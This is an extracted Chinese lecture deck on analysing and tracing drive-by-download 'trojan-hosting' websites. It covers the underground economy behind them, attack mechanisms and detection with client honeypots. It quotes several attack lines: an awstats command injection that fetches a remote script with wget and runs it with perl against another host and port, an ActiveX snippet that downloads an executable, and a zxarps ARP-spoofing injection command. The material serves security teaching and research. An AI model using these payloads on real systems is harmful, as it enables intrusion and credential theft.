挂马网站分析追溯技术与实践 - 清华大学网络与信息安全实验室课件

《挂马网站分析追溯技术与实践 - 清华大学网络与信息安全实验室课件》由会员分享，可在线阅读，更多相关《挂马网站分析追溯技术与实践 - 清华大学网络与信息安全实验室课件（31页珍藏版）》请在金锄头文库上搜索。

1、第 1 页/共 31 页,挂马网站分析追溯技术与实践,诸葛建伟 北京大学计算机所信息安全工程研究中心,个人简介,诸葛建伟 博士 1997-2006年就读北京大学，获理学博士学位 北京大学计算机科学技术研究所助理研究员 狩猎女神项目组发起人及技术负责人，The Honeynet Project Full Member 研究方向：蜜罐与蜜网技术，入侵检测/关联分析，网络攻防，恶意软件分析及防范技术 主持1项国家科研项目，协助承担5项国家科研项目 第一作者发表知名国际会议、核心期刊论文二十余篇，申请发明专利5项 2004年微软学者，2005年IBM全球博士生英才，2005年北大五四青年科学奖一等奖,

2、第 2 页/共 31 页,内容概要,挂马网站安全威胁背景与发展历程 挂马网站的技术机理和具体实现机制 挂马网站安全威胁监测技术研究和实验 挂马网站案例分析与追溯（案例演示） 总结,第 3 页/共 31 页,两个著名案件回顾,2004年“证券大盗”案件 犯罪者：“黑客”团伙张勇、王浩、邹亮 目标：窃取访问首放证券网站的股民股票帐户，并操纵股票获利 犯罪过程：网络钓鱼（ - ），钓鱼网站上挂马，植入股票帐户盗号木马，操纵股票帐户非法获利38.6万元 判罚结果：主犯张勇无期徒刑 2007年“熊猫烧香”案件 犯罪者：李俊、王磊、张顺、雷磊 目标：窃取感染主机“游戏信封”出售牟利 犯罪过程：李俊编写并出

3、售“熊猫烧香”病毒，王磊搭建挂马网站，出售“流量”，张顺购买“流量”植入盗号木马，窃取“游戏信封”出售牟利，共非法获利24万余元 判罚结果：主犯李俊有期徒刑4年,第 4 页/共 31 页,挂马网站安全威胁相关词汇,网页木马“网马” 对浏览器和应用软件进行攻击，以上传代码或获取控制权为目的的恶意代码 盗号木马 以从受害主机窃取有价值或敏感信息和资产为目标的一类特洛伊木马 木马生成器 供其他没有任何编程技术的参与者自动生成网页木马、盗号木马的程序 “流量”：网站的访问流量，一般以不同访问IP数计量 挂马网站 被植入恶意脚本，将网站访问流量重定向至网页木马，使得存在安全漏洞的访问主机被其攻击并导致植

4、入恶意代码的一类恶意网站 木马宿主站点“放马”站点 在万维网上提供网页木马和/或盗号木马访问的宿主站点 “信封”：盗号木马获取的各类用户名/口令密码敏感信息对 “箱子”：盗号木马提交窃取“信封”的服务器端 木马网络 由挂马网站、木马宿主站点及中间的跳转站点通过网页中的嵌入链接或自动重定向所构成的恶意攻击网络,第 5 页/共 31 页,挂马网站安全威胁发展历程,萌芽期：200 x-2003年 代表“网马”：CHM网马等 快速发展期：2004-2005年 代表“网马”：Icefox冰狐等 工业界和学术圈关注 爆发期：2006-今 代表“网马”：MS06-014网马, ANI网马，MPack等 趋势

5、：系统安全漏洞常用应用软件安全漏洞(百度搜霸、暴风、PPStream等),第 6 页/共 31 页,挂马网站背后的驱动力网络虚拟资产地下经济链,国内互联网最主要的地下经济链盈利模式 窃取和出售网络虚拟资产 地下经济链参与者 病毒编写者：网马、盗号木马、免杀服务 黑站长/网络骇客: 网站访问流量 “信封”盗窃者: 购买：网马、盗号木马、流量 行为：构建木马网络，窃取“信封” 出售：“信封” 虚拟资产盗窃者 购买：“信封” 行为：“拆信”，登录帐号，窃取虚拟资产 出售：网络虚拟资产 虚拟资产卖家：虚拟资产流通渠道 玩家：钱的源泉，支撑整个地下经济链 地下经济链交互市场 地下黑市：百度帖吧等黑客论坛

6、发布广告，即时通讯软件沟通，线上交易 虚拟资产公开市场：淘宝、腾讯拍拍网等 分工明确的地下产业经济链构成挂马网站安全威胁背后的强大驱动力 监测、分析和追溯技术欠缺 相关法律不健全 虚拟资产盗窃不影响国家安全、社会稳定,第 7 页/共 31 页,挂马网站安全威胁依赖的漏洞,2003: MS03-014 2004: MS04-023/028/038/040/044/045 2005: MS05-002/016/020/026/038 2006: MS06-001/006/014/024/042/044/046/057/067/Quick Time/WinZip 2007: MS07-004/009

7、/017/020/027/033/035/045/047/055雅虎通Webcam/百度搜霸/PPStream/暴风影音/雅虎通CYFT/Web迅雷/迅雷ActiveX/联众游戏/超星/迅雷5迅雷看看/RealPlayer/McAfee 趋势： 被用于挂马网站安全威胁的安全漏洞数量呈现快速增长趋势 “黑客”更加关注和利用常见应用软件中存在的安全漏洞,第 8 页/共 31 页,内容概要,挂马网站安全威胁背景与发展历程 挂马网站的技术机理和具体实现机制 挂马网站安全威胁监测技术研究和实验 挂马网站案例分析与追溯（案例演示） 总结,第 9 页/共 31 页,挂马网站的整体技术机理,第 10 页/共

8、31 页,盗号木马和网页木马,盗号木马 在传统的远程控制木马基础上发展出的以窃取敏感信息为目标的专用木马。 QQ盗号木马:数十款，流行网游:均发现相应的盗号木马 免杀机制：继承可执行程序加壳/变形等技术方法 网页木马 本质上并非木马，而是Web方式的渗透攻击代码 一般以JavaScript, VBScript等脚本语言实现 免杀机制 通过大小写变换、十六进制编码、unicode编码、base64编码、escape编码等方法对网页木马进行编码混淆 通过通用（screnc等）或定制的加密工具（xxtea等）对网页木马进行加密 修改网页木马文件掩码、混淆文件结构、分割至多个文件等,第 11 页/共

9、31 页,典型网页木马-MS06-014网马,MS06-014安全漏洞机理 MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞，没有对通过该控件在宿主上的交互行为进行有效控制 MS06-014网马程序,第 12 页/共 31 页,网站破解“黑站”技术方法,代码注入 awstats.pl：if (open(CONFIG,$searchdir$PROG.$SiteConfig.conf) if (open(CONFIG,|echo ;echo b_exp;wget http:/10.0.26.26/libsh/ping.txt;mv ping.txt temp2006;pe

10、rl temp2006 10.0.233.251 8080.;) 远程代码包含 GET /index2.php?option=com_content dbq=c:winnthelpiishtmtutorialbtcustmr.mdb XSS跨站脚本 如HTML页面中存在上传漏洞，则可插入Javascript等语言实现的XSS跨站脚本,第 13 页/共 31 页,网络访问流量重定向机制,内嵌HTML标签 最为简单和常见的流量重定向机制：iframe嵌入外部页面链接 frame, body onload事件, CSS标签等 恶意script脚本 很常见：利用script标签通过跨站脚本包含网页木马

11、 document.write(); window.open(URL to Trojan) 内嵌对象 调用第三方应用软件或浏览器帮助对象（BHO）的内嵌对象 例子：百度搜霸“网马” tryvar h;var obj=new ActiveXObject(BaiduBar.Tool); catch(h); finallyif(h!=object Error) obj.DloadDS( bd.exe, 0),第 14 页/共 31 页,ARP欺骗挂马,ARP欺骗挂马:危害度更高的挂马网络构建策略 并不需要真正攻陷目标网站：知名网站通常防护严密 ARP欺骗：对同一以太网网段中，通过ARP欺骗方法进行中

12、间人攻击，可劫持指定网络流量并进行任意修改 ARP欺骗挂马:在Web请求反馈页面中插入iframe等重定向链接代码，从而使得目标网站被“虚拟”挂马 服务器端ARP欺骗挂马 在目标网站同一以太网中获得访问入口 进行ARP欺骗挂马 目标网站虽未被攻陷，但所有网站访问者遭受网页木马的威胁 案例：07年10月份Nod32中国官方网站, C.I.S.R.T网站等 防护措施：MAC地址绑定,zxarps.exe -idx 0 -ip 192.168.2.13 -port 80 -hacksite -insert ,第 15 页/共 31 页,内容概要,挂马网站安全威胁背景与发展历程 挂马网站的技术机理和具

13、体实现机制 挂马网站安全威胁监测技术研究和实验 挂马网站案例分析与追溯（案例演示） 总结,第 16 页/共 31 页,挂马网站的动态验证技术,客户端蜜罐技术 使用存有漏洞的客户端蜜罐系统: WinXP SP2+IE 6.0+常用应用软件 基于虚拟机软件构建: VMware (有效控制和恢复) 行为监控软件: Process Monitor等 狩猎女神项目组监控软件 MwSniffer:基于API Hooking技术的动态行为监控软件 HoneyBow:基于高交互式蜜罐技术的恶意代码样本捕获器 MwScanner:集成十多个主流反病毒引擎的恶意代码扫描软件 基于客户端蜜罐的挂马网站动态验证技术方

14、法 手动或自动调度客户端蜜罐，访问待检测(可疑)的网站 2-3分钟交互时间: 网马攻击和盗号木马植入 根据监控到的系统动态行为判定客户端蜜罐系统是否被攻击并植入木马：确定待检测网站是否被挂马,第 17 页/共 31 页,挂马网站动态验证系统运行界面,第 18 页/共 31 页,网页木马静态检测和解密技术,检测方法 识别被挂马网站中的内嵌页面链接 对加密混淆的恶意网页进行识别和解密 对解密后网页代码进行特征匹配，从而检测出网页木马 核心问题：解密技术 根据已知编码/加密方法，构建相应的解码/解密程序 浏览器动态执行解密技术 基于Javascipt/VBScript等脚本语言解析引擎进行动态执行，

15、从而对加密脚本进行解密 与动态验证技术的对比 优势：能够克服动态验证由于交互条件不存在造成的漏报 劣势：检测和解密实现技术较为复杂，可能产生一些误报 目前万维网上为保护代码知识产权，已较为普遍地使用加密技术,第 19 页/共 31 页,中国万维网上挂马网站监测实验,监测实验时间 2007年10月份进行 监测对象 07年底国内注册网站150万, 采样监测近15万 Google热榜/百度搜索风云榜选择200个常用搜索关键字，通过Google/百度获取待监测网站列表 分类:资源下载/运动娱乐/电影视频等12类 监测方法 基于客户端蜜罐的动态验证 10台服务器：30多个虚拟机客户端蜜罐并行运行(3天左

16、右) 监测结果 发现2,149个挂马网站，样本集中至少1.49%网站被恶意挂马 反病毒软件检测率 最好国外厂商：盗号木马83.6%, 网页木马25.4% 最好国内厂商：盗号木马88.7%, 网页木马36.7%,第 20 页/共 31 页,典型挂马网站案例-,链接分析和追溯结果 发现327个木马宿主站点 通过链接分析构建了庞大的木马网络链接图 影响范围最广的木马宿主- 涉及131个顶级域名，植入20多个网游盗号木马 反映虚拟资产地下经济链的典型挂马网络案例,第 21 页/共 31 页,内容概要,挂马网站安全威胁背景与发展历程 挂马网站的技术机理和具体实现机制 挂马网站安全威胁监测技术研究和实验 挂马网站案例分析与追溯（案例演示） 总结,第 22 页/共 31 页,挂马网站案例分析,挂马网站: ,网页木马宿主: ,index.html,common.js,new119.html,aa/kl.htm,aa/1.js,aa/kl.htm decoded 1,aa/kl.htm decoded 2,aa/kl.htm ie run,aa/1.js decoded,aa/1.js